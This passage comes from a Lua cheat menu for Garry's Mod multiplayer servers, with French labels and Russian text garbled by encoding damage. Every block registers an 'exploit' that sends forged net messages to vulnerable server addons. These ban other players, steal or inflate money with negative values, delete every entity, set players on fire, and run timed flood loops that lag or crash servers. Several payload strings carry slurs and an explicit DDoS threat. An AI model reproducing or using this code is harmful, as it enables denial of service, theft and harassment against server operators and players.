10265status = ValidNetString("LB_AddBan")
10266if (status) then
10267CHATPRINT("Ðайден ÐкÑплоит: LB Ban [LB_AddBan]")
10268addExploit( "212","Exploit LB Ban", "", function()
10269surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10270for k,v in pairs(player.GetAll()) do
10271if v != LocalPlayer() then
10272net.Start("LB_AddBan")
10273net.WriteString("STEAM_0:0:71238382")
10274net.WriteString("fgt")
10275net.SendToServer()
10276end
10277end
10278end )
10279end
10280
10281status = ValidNetString("GET_Admin_MSGS")
10282if (status) then
10283CHATPRINT("Ðайден ÐкÑплоит: Спам в админ чат EN_ADMIN_CHAT]")
10284addExploit( "213","Défoncer Le Chat Admin", "", function()
10285surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10286net.Start("GET_Admin_MSGS")
10287net.SendToServer()
10288net.Start("OPEN_ADMIN_CHAT")
10289net.SendToServer()
10290end )
10291end
10292
10293status = ValidNetString("br_send_pm")
10294if (status) then
10295CHATPRINT("Ðайден ÐкÑплоит: Отправка ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ Ð²Ñем [br_send_pm]")
10296addExploit( "214","Défoncer Les Email Envoyé A Tous", "", function()
10297surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10298for k,v in pairs(player.GetAll()) do
10299if v != LocalPlayer() then
10300net.Start("br_send_pm")
10301net.WriteString(v)
10302net.WriteString("FGT")
10303net.WriteEntity(v)
10304net.SendToServer()
10305end
10306end
10307end )
10308end
10309
10310status = ValidNetString("LAWYER.BailFelonOut")
10311if (status) then
10312CHATPRINT("Ðайден ÐкÑплоит: Выйти из тюрьмы [LAWYER.BailFelonOut]")
10313addExploit( "215","Libérer Prison", "", function()
10314surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10315net.Start("LAWYER.BailFelonOut")
10316net.WriteString("1")
10317net.WriteString("fgt")
10318net.SendToServer()
10319end )
10320end
10321
10322status = ValidNetString("LAWYER.GetBailOut")
10323if (status) then
10324CHATPRINT("Ðайден ÐкÑплоит: Выйти из тюрьмы [LAWYER.GetBailOut]")
10325addExploit( "216","Libérer Prison", "", function()
10326surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10327net.Start("LAWYER.GetBailOut")
10328net.WriteString("Mick")
10329net.WriteString("Mick")
10330net.WriteString("1000000")
10331net.SendToServer()
10332end )
10333end
10334
10335status = ValidNetString("GrabMoney")
10336if (status) then
10337CHATPRINT("Ðайден ÐкÑплоит: Выйти из тюрьмы [GrabMoney]")
10338addExploit( "217","Libérer Prison", "", function()
10339surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10340for k,v in pairs(ents.GetAll()) do
10341if v:GetClass() == "gold" then
10342if v:GetClass() == "silver" then
10343if v:GetClass() == "vip" then
10344if v:GetClass() == "vipgold" then
10345net.Start("GrabMoney")
10346net.WriteEntity(LocalPlayer())
10347net.SendToServer()
10348end
10349end
10350end
10351end
10352end
10353end )
10354end
10355
10356status = ValidNetString("nox_addpremadepunishment")
10357if (status) then
10358CHATPRINT("Ðайден ÐкÑплоит: Бан [nox_addpremadepunishment]")
10359addExploit( "218","Exploit De Ban Nox ", "", function()
10360surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10361for k,v in pairs(player.GetAll()) do
10362if v != LocalPlayer() then
10363net.Start("nox_addpremadepunishment")
10364net.WriteEntity("Sun")
10365net.WriteUInt(2, 8)
10366net.SendToServer()
10367end
10368end
10369end )
10370end
10371
10372status = ValidNetString("NET_CR_TakeStoredMoney")
10373if (status) then
10374CHATPRINT("Ðайден ÐкÑплоит: УкраÑть деньги из рееÑтра [NET_CR_TakeStoredMoney]")
10375addExploit( "219","Voler L'argent Du Registre", "", function()
10376surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10377for k,v in pairs(ents.GetAll()) do
10378if v:GetClass() == "ss_cash_registry" then
10379net.Start('NET_CR_TakeStoredMoney')
10380net.WriteEntity("ss_cash_registry")
10381net.WriteEntity(LocalPlayer())
10382net.SendToServer()
10383end
10384end
10385end )
10386end
10387
10388status = ValidNetString("HV_AmmoBuy")
10389if (status) then
10390CHATPRINT("Ðайден ÐкÑплоит: беÑплатные боеприпаÑÑ‹ [HV_AmmoBuy]")
10391addExploit( "220","HV Munitions Gratuites", "", function()
10392surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10393net.Start("HV_AmmoBuy")
10394net.WriteFloat("2")
10395net.SendToServer()
10396net.Start("HV_AmmoBuy")
10397net.WriteFloat("1")
10398net.SendToServer()
10399end )
10400end
10401
10402status = ValidNetString("hitcomplete")
10403if (status) then
10404CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги [hitcomplete]")
10405addExploit( "221","БеÑплатные деньги", "", function()
10406surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10407for k,v in pairs(player.GetAll()) do
10408if v != LocalPlayer() then
10409net.Start("hitcomplete")
10410net.WriteEntity(v)
10411net.SendToServer()
10412end
10413end
10414end )
10415end
10416
10417status = ValidNetString("SyncRemoveAction")
10418if (status) then
10419CHATPRINT("Ðайден ÐкÑплоит: Удалить вÑе [SyncRemoveAction]")
10420addExploit( "222","Supprimer Tout", "", function()
10421surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10422for k,v in pairs(ents.GetAll()) do
10423net.Start("SyncRemoveAction")
10424net.WriteEntity(v)
10425net.SendToServer()
10426end
10427end )
10428end
10429
10430status = ValidNetString("TMC_NET_MakePlayerWanted")
10431if (status) then
10432CHATPRINT("Ðайден ÐкÑплоит: ПомеÑтите уведомление о глобальном поиÑке [TMC_NET_MakePlayerWanted]")
10433addExploit( "223","Mettre Un Avis De Recherche Global", "", function()
10434surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10435for k,v in pairs(player.GetAll()) do
10436net.Start("TMC_NET_MakePlayerWanted")
10437net.WriteString("bad")
10438net.WriteString("bad")
10439net.SendToServer()
10440end
10441end )
10442end
10443
10444status = ValidNetString("thiefnpc")
10445if (status) then
10446CHATPRINT("Ðайден ÐкÑплоит: ÐÐ¿Ñ Ð²Ð¾Ñ€[thiefnpc]")
10447addExploit( "224","NPC De Voleur", "", function()
10448surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10449net.Start('thiefnpc')
10450net.WriteDouble(-99999999999999999)
10451net.SendToServer()
10452end )
10453end
10454
10455status = ValidNetString("TMC_NET_FirePlayer")
10456if (status) then
10457CHATPRINT("Ðайден ÐкÑплоит: Игроки горÑÑ‚ [TMC_NET_FirePlayer]")
10458addExploit( "225","Brûler Des Joueurs", "", function()
10459surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10460net.Start("TMC_NET_FirePlayer")
10461net.WriteString("Paypal")
10462net.SendToServer()
10463end )
10464end
10465
10466status = ValidNetString("updateLaws")
10467if (status) then
10468CHATPRINT("Ðайден ÐкÑплоит: Изменить законы [updateLaws]")
10469addExploit( "226","Mettre A Jours Les Lois", "", function()
10470surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10471net.Start("updateLaws")
10472net.WriteString("Bitch")
10473net.SendToServer()
10474end )
10475end
10476
10477status = ValidNetString("LotteryMenu")
10478if (status) then
10479CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #25 [LotteryMenu]")
10480addExploit( "227","БеÑплатные деньги #25", "", function()
10481surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10482net.Start("LotteryMenu")
10483net.WriteEntity(LocalPlayer())
10484net.WriteInt(1000000000000000000, 16)
10485net.SendToServer()
10486end )
10487end
10488
10489status = ValidNetString("soundArrestCommit")
10490if (status) then
10491CHATPRINT("Ðайден ÐкÑплоит: Звук ÐреÑта [soundArrestCommit]")
10492addExploit( "228","Bruit D'Arrestation", "", function()
10493surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10494net.Start("soundArrestCommit")
10495net.WriteString("Shit")
10496net.SendToServer()
10497end )
10498end
10499
10500status = ValidNetString("hoverboardpurchase")
10501if (status) then
10502CHATPRINT("Ðайден ÐкÑплоит: Hover Board [hoverboardpurchase]")
10503addExploit( "229","Hover Board", "", function()
10504surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10505net.Start("hoverboardpurchase")
10506net.WriteInt(8, 32)
10507net.SendToServer()
10508end )
10509end
10510
10511status = ValidNetString("NPCShop_BuyItem")
10512if (status) then
10513CHATPRINT("Ðайден ÐкÑплоит: ÐПС магазин [NPCShop_BuyItem]")
10514addExploit( "231","NPC Shop", "", function()
10515surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10516net.Start("NPCShop_BuyItem")
10517net.WriteString("weapon_hack_phone")
10518net.SendToServer()
10519end )
10520end
10521
10522status = ValidNetString("CubeRiot CaptureZone Update")
10523if (status) then
10524CHATPRINT("Ðайден ÐкÑплоит: Капт[CubeRiot CaptureZone Update]")
10525addExploit( "232","CubeRiot Exploit", "", function()
10526surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10527net.Start("CubeRiot CaptureZone Update")
10528net.WriteUInt( 1, 8 )
10529net.WriteVector( "2654.989258 2254.119629 -139.968750" )
10530net.WriteVector( "2654.989258 2254.119629 -139.968750" )
10531net.SendToServer()
10532end )
10533end
10534
10535status = ValidNetString("deposit")
10536if (status) then
10537CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #26 [deposit]")
10538addExploit( "233","БеÑплатные деньги #26", "", function()
10539surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10540net.Start("deposit")
10541net.WriteString("-10000000000000000000000")
10542net.SendToServer()
10543end )
10544end
10545
10546status = ValidNetString("AcceptRequest")
10547if (status) then
10548CHATPRINT("Ðайден ÐкÑплоит: ПринÑть вызовы [AcceptRequest]")
10549addExploit( "234","Exploit D'Appel", "", function()
10550surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10551for k,v in pairs(player.GetAll()) do
10552net.Start("AcceptRequest")
10553net.WriteEntity(v)
10554net.SendToServer()
10555end
10556end )
10557end
10558
10559status = ValidNetString("Chess ClientWager")
10560if (status) then
10561CHATPRINT("Ðайден ÐкÑплоит: Выйграть шахматы [Chess ClientWager | Chess ClientResign]")
10562addExploit( "235","Exploit Des Dames", "", function()
10563surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10564net.Start("Chess ClientWager")
10565net.WriteUInt( -999999999999999999999999999, 24 )
10566net.SendToServer()
10567net.Start("Chess ClientResign")
10568net.SendToServer()
10569end )
10570end
10571
10572status = ValidNetString("netOrgVoteInvite_Server")
10573if (status) then
10574CHATPRINT("Ðайден ÐкÑплоит: ПриглаÑите вÑех в Ñвою банду [netOrgVoteInvite_Server]")
10575addExploit( "236","Invitez Tout Le Monde Dans Son Gang", "", function()
10576surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10577for k,v in pairs(player.GetAll()) do
10578net.Start("netOrgVoteInvite_Server")
10579net.WriteEntity(v)
10580net.SendToServer()
10581end
10582end )
10583end
10584
10585
10586status = ValidNetString("donatorshop_itemtobuy")
10587if (status) then
10588CHATPRINT("Ðайден ÐкÑплоит: ÐкÑплойт Ñ Ñщиком пожертвований [donatorshop_itemtobuy]")
10589addExploit( "237","Exploit De La Boite Des Donateur", "", function()
10590surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10591net.Start("donatorshop_itemtobuy")
10592net.WriteString("DonatorShopBuyTripwire")
10593net.SendToServer()
10594end )
10595end
10596
10597status = ValidNetString("AskPickupItemInv")
10598if (status) then
10599CHATPRINT("Ðайден ÐкÑплоит: Задать Ð²Ð¾Ð¿Ñ€Ð¾Ñ [AskPickupItemInv]")
10600addExploit( "238","Demandez Items", "", function()
10601surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10602for k,v in pairs(player.GetAll()) do
10603net.Start("AskPickupItemInv")
10604net.WriteUInt(4,16)
10605net.WriteUInt(1,16)
10606net.SendToServer()
10607end
10608end )
10609end
10610
10611status = ValidNetString("buy_bundle")
10612if (status) then
10613CHATPRINT("Ðайден ÐкÑплоит: Купить Бандл [buy_bundle]")
10614addExploit( "239","Achetez Bundle", "", function()
10615surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10616net.Start("buy_bundle")
10617net.WriteFloat(1, 16)
10618net.SendToServer()
10619end )
10620end
10621
10622status = ValidNetString("LawyerOfferBail")
10623if (status) then
10624CHATPRINT("Ðайден ÐкÑплоит: Выход из тюрьмы [LawyerOfferBail | AcceptBailOffer]")
10625addExploit( "240","Sortir De Prison", "", function()
10626surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10627for k,v in pairs(player.GetAll()) do
10628net.Start("LawyerOfferBail")
10629net.WriteEntity(v)
10630net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
10631net.SendToServer()
10632net.Start("AcceptBailOffer")
10633net.WriteEntity(v)
10634net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
10635net.SendToServer()
10636end
10637end )
10638end
10639
10640status = ValidNetString("MineServer")
10641if (status) then
10642CHATPRINT("Ðайден ÐкÑплоит: Лаггер #22 [MineServer]")
10643addExploit( "241","Лаггер #22", "lags", function()
10644surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10645for i = 0, 100 do
10646for k,v in pairs(player.GetAll()) do
10647net.Start("MineServer",true)
10648net.WriteString("sell")
10649net.WriteEntity(v)
10650net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
10651net.SendToServer()
10652end
10653end
10654end )
10655end
10656
10657status = ValidNetString("Gb_gasstation_BuyGas")
10658if (status) then
10659CHATPRINT("Ðайден ÐкÑплоит: УкраинÑкий газ (штоблÑть) [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
10660addExploit( "242","Gaz Ukrainien", "", function()
10661surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10662net.Start("Gb_gasstation_BuyGas")
10663net.SendToServer()
10664net.Start("Gb_gasstation_BuyJerrycan")
10665net.SendToServer()
10666end )
10667end
10668
10669status = ValidNetString("D3A_CreateOrg")
10670if (status) then
10671CHATPRINT("Ðайден ÐкÑплоит: D3A Создаёт организацию [D3A_CreateOrg]")
10672addExploit( "243","D3A Crée une Organisation", "", function()
10673surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10674net.Start("D3A_CreateOrg")
10675net.WriteString('969690485273489312467812367128312312314')
10676net.WriteString('123712983712984571298712398')
10677net.WriteString("255 255 255")
10678net.SendToServer()
10679end )
10680end
10681
10682status = ValidNetString("Shop_buy")
10683if (status) then
10684CHATPRINT("Ðайден ÐкÑплоит: SUP купить броню [Shop_buy]")
10685addExploit( "244","SUP Buy Armor", "", function()
10686surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10687net.Start("Shop_buy")
10688net.WriteString("Armor")
10689net.SendToServer()
10690end )
10691end
10692
10693status = ValidNetString("LawsToServer")
10694if (status) then
10695CHATPRINT("Ðайден ÐкÑплоит: SUP ОбьÑвление[LawsToServer]")
10696addExploit( "245","SUP Nouvelles Lois", "", function()
10697surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10698net.Start("LawsToServer")
10699net.WriteString("FAGGOTS")
10700net.SendToServer()
10701end )
10702end
10703
10704status = ValidNetString("D3A_Message")
10705if (status) then
10706CHATPRINT("Ðайден ÐкÑплоит: D3A Сообщение [D3A_Message]")
10707addExploit( "246","D3A Message", "", function()
10708surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10709local stuff = {
10710
10711}
10712net.Start("D3A_Message")
10713net.WriteString("FAGGOTS")
10714net.WriteTable(stuff)
10715net.SendToServer()
10716end )
10717end
10718
10719status = ValidNetString("misswd_accept")
10720if (status) then
10721CHATPRINT("Ðайден ÐкÑплоит: Misswd ПринÑть [misswd_accept]")
10722addExploit( "247","Misswd Accepter", "", function()
10723surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10724for k,v in pairs(player.GetAll()) do
10725for i = 0, 100 do
10726net.Start("misswd_accept")
10727net.WriteEntity(v)
10728net.SendToServer()
10729end
10730end
10731end )
10732end
10733
10734status = ValidNetString("ScannerMenu")
10735if (status) then
10736CHATPRINT("Ðайден ÐкÑплоит: Сканнер ÑкÑплоитов [ScannerMenu]")
10737addExploit( "248","Exploit De Scanneur", "", function()
10738surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10739for k,v in pairs(player.GetAll()) do
10740net.Start("ScannerMenu")
10741net.WriteEntity(v)
10742net.WriteFloat(1)
10743net.WriteFloat(1)
10744net.SendToServer()
10745end
10746end )
10747end
10748
10749status = ValidNetString("ORG_NewOrg")
10750if (status) then
10751CHATPRINT("Ðайден ÐкÑплоит: ÐÐ¾Ð²Ð°Ñ Ð¾Ñ€Ð³Ð°Ð½Ð¸Ð·Ð°Ñ†Ð¸Ñ [ORG_NewOrg]")
10752addExploit( "249","Nouvelle Organisation", "", function()
10753surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10754net.Start("ORG_NewOrg")
10755net.WriteString("I FUCKING HATE YOU!")
10756net.SendToServer()
10757end )
10758end
10759
10760status = ValidNetString("ORG_VaultDonate")
10761if (status) then
10762CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #27 [ORG_VaultDonate]")
10763addExploit( "250","БеÑплатные деньги #27", "", function()
10764surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10765net.Start("ORG_VaultDonate")
10766net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
10767net.SendToServer()
10768end )
10769end
10770
10771status = ValidNetString("Selldatride")
10772if (status) then
10773CHATPRINT("Ðайден ÐкÑплоит: Продать Датрид [Selldatride]")
10774addExploit( "251","Vendre Datride", "", function()
10775surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10776for k,v in pairs(player.GetAll()) do
10777net.Start("Selldatride")
10778net.WriteEntity(v)
10779net.SendToServer()
10780end
10781end )
10782end
10783
10784status = ValidNetString("passmayorexam")
10785if (status) then
10786CHATPRINT("Ðайден ÐкÑплоит: Сдать Ñкзамены [passmayorexam]")
10787addExploit( "252","Passez Les Examens", "", function()
10788surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10789net.Start("passmayorexam")
10790net.SendToServer()
10791end )
10792end
10793
10794status = ValidNetString("levelup_useperk")
10795if (status) then
10796CHATPRINT("Ðайден ÐкÑплоит: Увеличить уровень [levelup_useperk]")
10797addExploit( "253","Augmentez De Niveau", "", function()
10798surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10799net.Start("levelup_useperk")
10800net.WriteInt(1, 8)
10801net.WriteInt(2, 8)
10802net.WriteInt(3, 8)
10803net.WriteInt(4, 8)
10804net.SendToServer()
10805end )
10806end
10807
10808status = ValidNetString("DeployMask")
10809if (status) then
10810CHATPRINT("Ðайден ÐкÑплоит: Ðадеть вÑем противогаз [DeployMask]")
10811addExploit( "255","Mettre Un Masque A Gaz A Tout Les Joueurs", "", function()
10812surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10813for k,v in pairs(ents.GetAll()) do
10814net.Start("DeployMask")
10815net.WriteEntity(v)
10816net.SendToServer()
10817end
10818end )
10819end
10820
10821status = ValidNetString("RemoveMask")
10822if (status) then
10823CHATPRINT("Ðайден ÐкÑплоит: СнÑть вÑем противогаз [RemoveMask]")
10824addExploit( "256","Supprimer Les Masques A Gaz Des Joueurs", "", function()
10825surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10826for k,v in pairs(ents.GetAll()) do
10827net.Start("RemoveMask")
10828net.WriteEntity(v)
10829net.SendToServer()
10830end
10831end )
10832end
10833
10834status = ValidNetString("SwapFilter")
10835if (status) then
10836CHATPRINT("Ðайден ÐкÑплоит: Сменить фильтр вÑем [SwapFilter]")
10837addExploit( "257","Changer Tout Les Filtres Des Masques A Gaz", "Changer Les Filtres Des Masques A Gaz", function()
10838surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10839for k,v in pairs(ents.GetAll()) do
10840net.Start("SwapFilter")
10841net.WriteEntity(v)
10842net.SendToServer()
10843end
10844end )
10845end
10846
10847status = ValidNetString("WipeMask")
10848if (status) then
10849CHATPRINT("Ðайден ÐкÑплоит: Удалить противогазы [WipeMask]")
10850addExploit( "258","Essuyez Les Masques A Gaz", "Exploit Pour Essuyez Tout Les Masques A Gaz", function()
10851surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10852for k,v in pairs(ents.GetAll()) do
10853net.Start("WipeMask")
10854net.WriteEntity(v)
10855net.SendToServer()
10856end
10857end )
10858end
10859
10860status = ValidNetString("UseMedkit")
10861if (status) then
10862CHATPRINT("Ðайден ÐкÑплоит: ИÑпользовать аптечку [UseMedkit]")
10863addExploit( "259","Utiliser Le Kit Médical", "Exploit Pour Utiliser Le Kit Médical Sur Tout Le Monde", function()
10864surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10865for k,v in pairs(ents.GetAll()) do
10866net.Start("UseMedkit")
10867net.WriteEntity(v)
10868net.SendToServer()
10869end
10870end )
10871end
10872
10873status = ValidNetString("IDInv_RequestBank")
10874if (status) then
10875CHATPRINT("Ðайден ÐкÑплоит: Лаггер #23 [IDInv_RequestBank]")
10876addExploit( "260","Лаггер #23", "Exploit Provenant De L'addon 'IDinventory'", function()
10877surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10878if !timer.Exists("lagger23") then
10879timer.Create("lagger23", 0, 0, function()
10880for i = 1, 1000 do
10881net.Start("IDInv_RequestBank",true)
10882net.SendToServer()
10883end
10884end )
10885end
10886end )
10887end
10888
10889status = ValidNetString("casinokit_chipexchange")
10890if (status) then
10891CHATPRINT("Ðайден ÐкÑплоит: Лаггер #24 [casinokit_chipexchange]")
10892addExploit( "261","Лаггер #24", "Exploit Provenant De L'addon 'CasinoKit'", function()
10893surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10894if !timer.Exists("lagger24") then
10895timer.Create("lagger24", 0, 0, function()
10896for i = 1, 1000 do
10897net.Start("casinokit_chipexchange",true)
10898net.WriteEntity(LocalPlayer())
10899net.WriteString("darkrp")
10900net.WriteBool(false)
10901net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,32)
10902net.SendToServer()
10903end
10904end )
10905end
10906end )
10907end
10908
10909status = ValidNetString("RemoveTag")
10910if (status) then
10911CHATPRINT("Ðайден ÐкÑплоит: 1тапнуть Сервер [RemoveTag]")
10912addExploit( "262","1tap Le Serveur", "Coup dûr pour le serveur ducoup", function()
10913surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10914timer.Create("1tap", 0.5, 0, function()
10915for i=1, 4000 do
10916net.Start("RemoveTag")
10917net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
10918net.SendToServer()
10919end
10920end )
10921end )
10922end
10923
10924status = ValidNetString("desktopPrinter_Withdraw")
10925if (status) then
10926CHATPRINT("Ðайден ÐкÑплоит: Лаггер #25 [desktopPrinter_Withdraw]")
10927addExploit( "263","Лаггер #25", "Exploit Provenant De L'addon 'Desktop Printers'", function()
10928surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10929if !timer.Exists("lagger25") then
10930timer.Create("lagger25", 0, 0, function()
10931for i = 1, 1000 do
10932net.Start("desktopPrinter_Withdraw",true)
10933net.WriteEntity(LocalPlayer())
10934net.SendToServer()
10935end
10936end )
10937end
10938end )
10939end
10940
10941status = ValidNetString("sphys_dupe")
10942if (status) then
10943CHATPRINT("Ðайден ÐкÑплоит: Лаггер #26 [sphys_dupe]")
10944addExploit( "264","Лаггер #26", "Exploit Provenant De L'addon 'Simfphys'", function()
10945surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10946timer.Create("lagger26", 0.2, 0, function()
10947for i=1,2200 do
10948net.Start("sphys_dupe",true)
10949net.SendToServer()
10950end
10951end )
10952end )
10953end
10954
10955status = ValidNetString("simfphys_gasspill")
10956if (status) then
10957CHATPRINT("Ðайден ÐкÑплоит: ОбоÑрать игроков [simfphys_gasspill]")
10958addExploit( "265","Chiez Sur Les Joueurs", "Exploit Provenant De L'addon 'Simfphys'", function()
10959surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10960timer.Create("poop", 0.1, 0, function()
10961for k,v in pairs(player.GetAll()) do
10962for j=1,3 do
10963if IsValid(v) then
10964net.Start("simfphys_gasspill")
10965net.WriteVector(v:GetPos()+Vector(0,0,90))
10966net.WriteVector(v:EyePos())
10967net.SendToServer()
10968end
10969end
10970end
10971end )
10972end )
10973end
10974
10975status = ValidNetString("dronesrewrite_controldr")
10976if (status) then
10977CHATPRINT("Ðайден ÐкÑплоит: Лаггер #27 [dronesrewrite_controldr]")
10978addExploit( "266","Лаггер #27", "", function()
10979surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10980timer.Create("lagger27", 0.2, 0, function()
10981for i=1,2200 do
10982net.Start("dronesrewrite_controldr",true)
10983net.SendToServer()
10984end
10985end )
10986end )
10987end
10988
10989
10990status = ValidNetString("SCP-294Sv")
10991if (status) then
10992CHATPRINT("Ðайден ÐкÑплоит: Exploit De SCP-294 [SCP-294Sv]")
10993addExploit( "267","Exploit De SCP-294 Exploit", "", function()
10994surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10995for k,v in pairs(ents.GetAll()) do
10996net.Start("SCP-294Sv")
10997net.WriteString("acid")
10998net.WriteEntity(v)
10999net.SendToServer()
11000end
11001end )
11002end
11003
11004status = ValidNetString("phone")
11005if (status) then
11006CHATPRINT("Ðайден ÐкÑплоит: Позвонить вÑем [phone]")
11007addExploit( "269","Appelez Tous Les Joueurs", "", function()
11008surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11009for k, v in pairs(player.GetAll()) do
11010net.Start("phone")
11011net.WriteTable{
11012ply=v,
11013act='call'
11014}
11015net.SendToServer()
11016end
11017end )
11018end
11019
11020status = ValidNetString("blueatm")
11021if (status) then
11022CHATPRINT("Ðайден ÐкÑплоит: Лаггер #29 [blueatm]")
11023addExploit( "270","Лаггер #29", "Exploit Provenant De L'addon 'Blue ATM', ", function()
11024surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11025timer.Create("lagger29", 0, 0, function()
11026for i = 1, 1000 do
11027net.Start("blueatm",true)
11028net.WriteEntity(LocalPlayer())
11029net.SendToServer()
11030end
11031end )
11032end )
11033end
11034
11035status = ValidNetString("cab_cd_testdrive")
11036if (status) then
11037CHATPRINT("Ðайден ÐкÑплоит: Ð¡Ñ‚Ð°Ð²Ð¾ÐºÑ Ð¢ÐµÐ»ÐµÐ¿Ð¾Ñ€Ñ‚Ð°Ñ†Ð¸Ñ [cab_cd_testdrive]")
11038addExploit( "271","Stavox Teleportation", "", function()
11039surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11040net.Start('cab_cd_testdrive')
11041net.WriteUInt(0, 3)
11042net.WriteUInt(5, 8)
11043net.SendToServer()
11044end )
11045end
11046
11047status = ValidNetString("cab_sendmessage")
11048if (status) then
